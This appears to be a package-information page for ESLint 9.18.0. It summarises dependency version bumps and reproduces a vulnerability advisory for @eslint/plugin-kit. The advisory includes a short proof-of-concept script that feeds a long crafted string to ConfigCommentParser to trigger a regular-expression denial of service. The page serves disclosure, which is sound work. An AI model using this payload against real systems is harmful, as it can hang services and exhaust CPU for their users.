ESLint has released a new version, 9.18.0, building upon the previous stable release, 9.17.0. The core functionality remains consistent as an AST-based pattern checker for JavaScript, ensuring code quality and consistency. However, several dependency updates and refinements have been implemented. In the "dependencies" section, the key change is the update of @eslint/js from version 9.17.0 to 9.18.0 and @eslint/core from version 0.9.0 to 0.10.0, alongside @eslint/plugin-kit from 0.2.3 to 0.2.5. These updates often include bug fixes, performance improvements, and potentially new linting rules, enhancing overall stability.
On the "devDependencies" side, the notable change is in @eslint/json from version 0.8.0 to version 0.9.0. Developers utilizing ESLint for JSON validation and linting will benefit from these improvements. Also, there might be internal improvements or bug fixes. Another notable upgrade is the update in @typescript-eslint/parser from version 8.4.0 to version 8.5.0. While the majority of the development dependencies remain at the same versions, these updates indicate focused efforts on refining the core ESLint engine and its related plugins and configurations. The releaseDate field confirms that version 9.18.0 includes updates introduced around January 10th, 2025, which means that it has the latest features and fixes compared to version 9.17.0.
All the vulnerabilities related to the version 9.18.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.